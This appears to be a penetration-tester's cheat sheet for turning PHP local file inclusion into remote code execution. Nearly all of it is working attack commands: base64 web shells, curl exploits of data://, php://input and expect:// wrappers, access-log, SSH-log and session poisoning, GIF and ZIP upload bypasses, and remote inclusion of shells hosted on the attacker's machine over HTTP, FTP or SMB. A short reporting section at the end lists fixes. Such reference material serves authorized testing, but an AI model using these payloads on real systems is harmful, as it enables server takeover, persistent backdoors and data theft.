🛡️ Methodology Checklist
- PHP wrapper data:
?file=data://text/plain;base64,[BASE64_PHP_CMD] - PHP wrapper expect:
?file=expect://id(requires expect extension) - PHP wrapper input: POST payload with
?file=php://input - Log poisoning: inject PHP into User-Agent, access via LFI to
/var/log/apache2/access.log - SSH log poison:
ssh "<?php system($_GET['cmd']); ?>"@[TARGET]then read auth.log - /proc/self/environ: inject into HTTP_USER_AGENT, read via LFI
- Session file: inject PHP into PHPSESSID value, include
/var/lib/php/sessions/sess_[ID]
🎯 Operational Context
Use when: LFI confirmed — escalate to RCE via log poisoning, PHP wrappers, session file inclusion, or /proc/self/environ injection.
Think Dumber First: Log poison: inject PHP code into User-Agent header → include Apache/Nginx access log via LFI. curl -A '<?php system($_GET[cmd]); ?>' http://[TARGET]/ then ?file=/var/log/apache2/access.log&cmd=id.
Skip when: Log files not accessible or rotated too frequently — try session files (/var/lib/php/sessions/sess_[PHPSESSID]) or /proc/self/environ.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
curl -s "http://[TARGET_IP]/index.php?language=php://filter/read=convert.base64-encode/resource=/etc/php/7.4/apache2/php.ini" -o raw.txt && cat raw.txt | base64 -d -i | grep allow_url_include | Verify allow_url_include before wrapper attacks |
echo '<?php system($_GET["cmd"]); ?>' | base64 | Generate base64-encoded web shell |
curl -s 'http://[TARGET_IP]/index.php?language=data://text/plain;base64,[B64]&cmd=id' | RCE via data:// wrapper (URL-encode + → %2B, = → %3D) |
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://[TARGET_IP]/index.php?language=php://input&cmd=id" | RCE via php://input wrapper |
curl -s "http://[TARGET_IP]/index.php?language=expect://id" | RCE via expect:// (requires expect extension installed) |
echo '<?php system($_GET["cmd"]); ?>' > shell.php && sudo python3 -m http.server [LPORT] | Create shell + host over HTTP for RFI |
sudo python -m pyftpdlib -p 21 | Host shell over FTP (bypass HTTP WAF rules) |
impacket-smbserver -smb2support share $(pwd) | Host shell over SMB (Windows — bypasses allow_url_include) |
curl -s "http://[TARGET_IP]/index.php?language=http://[LHOST]:[LPORT]/shell.php&cmd=id" | RFI via HTTP |
curl -s "http://[TARGET_IP]/index.php?language=ftp://[LHOST]/shell.php&cmd=id" | RFI via FTP |
curl -s "http://[TARGET_IP]/index.php?language=\\[LHOST]\share\shell.php&cmd=whoami" | RFI via SMB (Windows target) |
http://[TARGET_IP]/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E | Session poisoning — URL-encode PHP shell into session variable |
http://[TARGET_IP]/index.php?language=/var/lib/php/sessions/sess_[COOKIE]&cmd=id | Execute poisoned session file |
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison.txt && curl -s "http://[TARGET_IP]/index.php" -H @Poison.txt | Poison Apache access.log via User-Agent |
http://[TARGET_IP]/index.php?language=/var/log/apache2/access.log&cmd=whoami | Include poisoned log file for RCE |
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif | LFI + upload: GIF magic bytes + PHP shell |
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php | LFI + upload: ZIP wrapper payload |
http://[TARGET_IP]/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id | Execute via zip:// wrapper |
🔬 Deep Dive & Workflow
RCE Path Decision Tree
Have allow_url_include = On?
├── Yes → data:// (GET) or php://input (POST) wrapper
└── No → Can you upload files?
├── Yes → Upload + include (GIF magic bytes, zip wrapper, phar)
└── No → Can you read server logs?
├── Apache/Nginx readable → Log Poisoning
├── PHP session param stored → Session Poisoning
├── SSH accessible → SSH log poisoning
└── Windows target + RFI possible → SMB RFI (bypasses allow_url_include)
PHP Wrapper RCE
data:// (GET, requires allow_url_include)
echo '<?php system($_GET["cmd"]); ?>' | base64
# Output: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
# Encode + and = before inserting in URL: %2B %3D
curl -s 'http://[TARGET_IP]/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id'php://input (POST, requires allow_url_include)
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' \
"http://[TARGET_IP]/index.php?language=php://input&cmd=id"Log Poisoning
Apache log: written on every request, includes User-Agent.
# Step 1: Poison the log
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison.txt
curl -s "http://[TARGET_IP]/index.php" -H @Poison.txt
# Step 2: Include and execute (SEND REQUEST TWICE — Apache writes BEFORE you can include it)
curl "http://[TARGET_IP]/index.php?language=/var/log/apache2/access.log&cmd=whoami"Log path reference:
Apache Linux: /var/log/apache2/access.log
Nginx Linux: /var/log/nginx/access.log
Apache Win: C:\xampp\apache\logs\access.log
SSH log: /var/log/sshd.log (poison via SSH username: <?php system($_GET['cmd']); ?>)
FTP log: /var/log/vsftpd.log
Syntax crash: Any typo in PHP payload permanently breaks the log → all future LFI attempts 500. Reset target.
Session Poisoning
# Find PHPSESSID value in browser cookies
# Session file path: /var/lib/php/sessions/sess_<COOKIE>
# Step 1: Inject PHP shell into the language parameter (which gets written to session)
http://[TARGET_IP]/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
# Step 2: Execute
http://[TARGET_IP]/index.php?language=/var/lib/php/sessions/sess_el4ukv0kqbvoce97bkep0e6bm&cmd=id
# Must re-poison session before each command (session file overwrites)Upload + LFI Combinations
# GIF magic bytes bypass content checks
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
# Upload → include: ?language=./uploads/shell.gif&cmd=id
# ZIP wrapper
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
# Upload shell.jpg → include: ?language=zip://./uploads/shell.jpg%23shell.php&cmd=id
# PHAR wrapper (generate phar archive, rename to .jpg, upload)
# include: ?language=phar://./uploads/shell.jpg%2Fshell.txt&cmd=id🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Log poison not executing | PHP tags stripped from log | Try: <?=system($_GET[cmd]);?> (short open tag) or base64-encoded PHP in User-Agent |
| Log file path unknown | Non-default Apache/Nginx install | Common paths: /var/log/apache2/access.log, /var/log/nginx/access.log, /proc/self/fd/1 |
| php://input wrapper blocked | POST body not processed | Try data:// wrapper or file upload + include |
| Session file inclusion fails | PHPSESSID not known | Read your own session: PHPSESSID from cookie; inject PHP into any session-stored value |
| RCE not persistent | Log rotated | Act quickly; use first RCE to write a web shell to disk for persistence |
📝 Reporting Trigger
Finding Title: LFI Escalated to Remote Code Execution via Log Poisoning
Impact: LFI vulnerability escalated to full RCE by injecting PHP code into server logs and including the poisoned log file, providing interactive command execution on the server without requiring file upload capabilities.
Root Cause: PHP code execution enabled for included files with no distinction between legitimate includes and attacker-controlled data. Log files accessible to the web application process.
Recommendation: Disable PHP code execution in log directories. Implement allowlist-based file inclusion. Enable open_basedir to restrict PHP file operations. Run web application as an isolated user without access to system logs.